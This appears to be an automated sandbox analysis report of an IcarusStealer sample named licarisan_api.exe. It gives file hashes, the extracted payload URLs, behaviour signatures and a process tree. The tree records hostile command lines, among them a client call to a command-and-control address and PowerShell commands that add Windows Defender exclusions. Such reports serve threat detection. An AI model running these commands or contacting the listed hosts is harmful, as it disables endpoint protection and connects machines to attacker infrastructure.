Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/10/2024, 14:39

General

  • Target

    licarisan_api.exe

  • Size

    3.9MB

  • MD5

    65a683124fc4ca1839e95322370e2b0d

  • SHA1

    7a7eafcfa4349e40cb15ab30b5c64d3415e60b96

  • SHA256

    3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f

  • SHA512

    14b6d7d06f1bd02fffa5f0a4aecb8bbb7b1441597d9ac27a888f5ff441fce785809bd675c7ef7b1da7f99a8d61100e030b6c8b7b128515e8d713d4ffec54123f

  • SSDEEP

    49152:bP70hwGvLJT/a9yLe7lAsYaxBjbdOGMneGzxgUgoJUcaqCDx6ITcP2MNoSPhaC+O:nUgoJUBZJoP2MNBajvXOSq

Malware Config

Extracted

Family

icarusstealer

Attributes
  • payload_url

    https://blackhatsec.org/add.jpg

    https://blackhatsec.org/remove.jpg

Signatures

  • IcarusStealer

    Icarus is a modular stealer written in C# First adverts in July 2022.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies registry class 35 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 34 IoCs
  • Suspicious use of FindShellTrayWindow 49 IoCs
  • Suspicious use of SendNotifyMessage 21 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\licarisan_api.exe
    "C:\Users\Admin\AppData\Local\Temp\licarisan_api.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4500
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
      2⤵
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1984
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe"
        3⤵
        • Boot or Logon Autostart Execution: Active Setup
        • Enumerates connected drives
        • Checks SCSI registry key(s)
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:2820
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" ICARUS_Client 193.142.146.64 8880 vUiuCXqqM
        3⤵
          PID:3088
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" ICARUS_Client 193.142.146.64 8880 vUiuCXqqM
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:5100
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe & exit
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1744
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2684
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe & exit
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2420
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2940
    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:4884
    • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
      "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
      1⤵
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:220

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      968cb9309758126772781b83adb8a28f

      SHA1

      8da30e71accf186b2ba11da1797cf67f8f78b47c

      SHA256

      92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

      SHA512

      4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      16KB

      MD5

      595f3296181bd4afb050992ada081023

      SHA1

      d05137bc7a799122406835409d19fbec05cef827

      SHA256

      c8ab45dfed61b1eef07d26b6657fd15087183fe6a8469f9b41fe5da2d249e585

      SHA512

      99c3f18781f26d83e743e3ccfaea47561e773f4d96106542f58287aaa7b702a78ad885fe55b1ff5d488c6eb29c99f0b02765b8989f20b4e2dbb33155ce56fc21

    • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133726128138585060.txt

      Filesize

      75KB

      MD5

      9efa3a479653dcebec2fdb838d17f37f

      SHA1

      c7651b85d198558f86763522cf0b49c69eeba442

      SHA256

      b1ec0390858e029229c24d0296e36fb89d88a17ac8d4f4ee88ec4dfa6973415f

      SHA512

      b897c7a1bec80598b70500a429d8c55e270d62a0a1d9b6fdc6cf315cfeb2c9b6ba6aec73e8863030328de7062995aa8d265df1e1f1b3147442120ad40bf67f71

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_udpj2fqt.1m0.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/220-105-0x0000025A6BEC0000-0x0000025A6BEE0000-memory.dmp

      Filesize

      128KB

    • memory/220-94-0x0000025A6B7B0000-0x0000025A6B7D0000-memory.dmp

      Filesize

      128KB

    • memory/220-83-0x0000025A6BB00000-0x0000025A6BB20000-memory.dmp

      Filesize

      128KB

    • memory/220-78-0x0000025269470000-0x0000025269570000-memory.dmp

      Filesize

      1024KB

    • memory/220-77-0x0000025269470000-0x0000025269570000-memory.dmp

      Filesize

      1024KB

    • memory/1984-235-0x00000000740C0000-0x0000000074870000-memory.dmp

      Filesize

      7.7MB

    • memory/1984-8-0x0000000001290000-0x0000000001312000-memory.dmp

      Filesize

      520KB

    • memory/1984-12-0x0000000005980000-0x0000000005A1C000-memory.dmp

      Filesize

      624KB

    • memory/1984-13-0x0000000005A20000-0x0000000005AB2000-memory.dmp

      Filesize

      584KB

    • memory/1984-14-0x00000000740CE000-0x00000000740CF000-memory.dmp

      Filesize

      4KB

    • memory/1984-17-0x00000000740C0000-0x0000000074870000-memory.dmp

      Filesize

      7.7MB

    • memory/2684-44-0x00000000061F0000-0x000000000623C000-memory.dmp

      Filesize

      304KB

    • memory/2684-70-0x00000000075D0000-0x0000000007C4A000-memory.dmp

      Filesize

      6.5MB

    • memory/2684-20-0x0000000004DD0000-0x00000000053F8000-memory.dmp

      Filesize

      6.2MB

    • memory/2684-74-0x0000000007180000-0x0000000007191000-memory.dmp

      Filesize

      68KB

    • memory/2684-73-0x00000000071F0000-0x0000000007286000-memory.dmp

      Filesize

      600KB

    • memory/2684-72-0x0000000007000000-0x000000000700A000-memory.dmp

      Filesize

      40KB

    • memory/2684-71-0x0000000006F80000-0x0000000006F9A000-memory.dmp

      Filesize

      104KB

    • memory/2684-29-0x0000000005650000-0x00000000059A4000-memory.dmp

      Filesize

      3.3MB

    • memory/2684-43-0x0000000005C60000-0x0000000005C7E000-memory.dmp

      Filesize

      120KB

    • memory/2684-19-0x0000000002680000-0x00000000026B6000-memory.dmp

      Filesize

      216KB

    • memory/2684-59-0x0000000006C30000-0x0000000006CD3000-memory.dmp

      Filesize

      652KB

    • memory/2684-47-0x0000000006240000-0x0000000006272000-memory.dmp

      Filesize

      200KB

    • memory/2684-48-0x000000006FAE0000-0x000000006FB2C000-memory.dmp

      Filesize

      304KB

    • memory/2684-58-0x00000000061A0000-0x00000000061BE000-memory.dmp

      Filesize

      120KB

    • memory/2820-75-0x0000000002D10000-0x0000000002D11000-memory.dmp

      Filesize

      4KB

    • memory/2940-193-0x0000000007EB0000-0x0000000007ECA000-memory.dmp

      Filesize

      104KB

    • memory/2940-60-0x000000006FAE0000-0x000000006FB2C000-memory.dmp

      Filesize

      304KB

    • memory/2940-82-0x0000000007DB0000-0x0000000007DBE000-memory.dmp

      Filesize

      56KB

    • memory/2940-194-0x0000000007EA0000-0x0000000007EA8000-memory.dmp

      Filesize

      32KB

    • memory/2940-23-0x0000000006240000-0x00000000062A6000-memory.dmp

      Filesize

      408KB

    • memory/2940-22-0x0000000006020000-0x0000000006086000-memory.dmp

      Filesize

      408KB

    • memory/2940-21-0x00000000058B0000-0x00000000058D2000-memory.dmp

      Filesize

      136KB

    • memory/2940-140-0x0000000007DC0000-0x0000000007DD4000-memory.dmp

      Filesize

      80KB

    • memory/4500-0-0x0000000000400000-0x0000000000823000-memory.dmp

      Filesize

      4.1MB

    • memory/4500-10-0x0000000000400000-0x0000000000823000-memory.dmp

      Filesize

      4.1MB

    • memory/4500-7-0x0000000000400000-0x0000000000823000-memory.dmp

      Filesize

      4.1MB

    • memory/4500-3-0x0000000000400000-0x0000000000823000-memory.dmp

      Filesize

      4.1MB

    • memory/4500-11-0x0000000000400000-0x0000000000823000-memory.dmp

      Filesize

      4.1MB

    • memory/4500-46-0x0000000000420000-0x0000000000438000-memory.dmp

      Filesize

      96KB

    • memory/4500-6-0x0000000000400000-0x0000000000823000-memory.dmp

      Filesize

      4.1MB

    • memory/4500-1-0x0000000000400000-0x0000000000823000-memory.dmp

      Filesize

      4.1MB

    • memory/4500-4-0x0000000000400000-0x0000000000823000-memory.dmp

      Filesize

      4.1MB

    • memory/4500-2-0x0000000000420000-0x0000000000438000-memory.dmp

      Filesize

      96KB

    • memory/5100-15-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

    • memory/5100-18-0x00000000055C0000-0x0000000005B64000-memory.dmp

      Filesize

      5.6MB